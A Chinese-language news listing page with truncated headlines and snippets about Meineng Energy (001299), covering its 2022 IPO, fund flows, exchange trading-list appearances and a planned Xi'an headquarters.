10月17日,陕西美能清洁能源集团股份有限公司(下称“美能能源”,SZ:001299)披露发行公告,并将于2022年10月18日开启申购。本次上市,美能能源的发行价为10.69元/股,发行市盈率20.

美能能源(001299)11月15日主力资金净卖出2095.05万元

截至2022年11月15日收盘,美能能源(001299)报收于20.1元,下跌1.03%,换手率21.43%,成交量10.05万手,成交额2.01亿元。11月15日的资金流向数据方面,主力资金净流出2

美能能源**深交所,实力营业部现身**榜(10-31)

深交所2022年10月31日交易***息显示,美能能源因属于无**涨跌幅**的证券而登上**榜。美能能源当收15.39元,涨跌幅为43.97%,换手率7.15%,振幅23.95%,成交额5142.

陕西又一城燃公司IPO过会,美能能源“内生式增长”成效几何?

华夏时报(www.chinatimes.net.cn)记者 苗诗雨 陆肖肖 北京报道继陕天然气(002267.SZ)后,陕西第二家区域性城燃公司即将于近日上市发售。天然气资源和油气资源丰富的陕西地区,

加码新能源领域投资 美能能源拟投建集团总部暨西安智慧能源研究院

本报记者 殷高峰11月14日,美能能源发布公告称,公司与西安高新区管委会拟签订《美能能源总部暨西安智慧能源研究院建设项目协议书》,公司计划在西安高新区上市企业园建设美能能源总部暨西安智慧能源研究院,总

多主力现身**榜,美能能源换手率达55.10%(11-25)

深交所2022年11月25日交易***息显示,美能能源因属于连续三个交易日内收盘**涨幅偏离值累计20%、当日换手率达到20%的证券而登上**榜。美能能源当收24.83元,涨跌幅为10.01%,换

多主力现身**榜,美能能源换手率达32.22%(05-29)

深交所2023年5月29日交易***息显示,美能能源因属于当日换手率达到20%的证券而登上**榜。美能能源当收18.72元,涨跌幅为3.43%,换手率32.22%,振幅12.43%,成交额2.73

11月7日美能能源(001299)**榜数据:机构净卖出1216.39万元

沪深交易所2022年11月7日公布的交易***息显示,美能能源(001299)因日换手率达到20%的前5只证券登上**榜。此次是近5个交易日内第3次上榜。截至2022年11月7日收盘,美能能源(001

AD
更多相关文章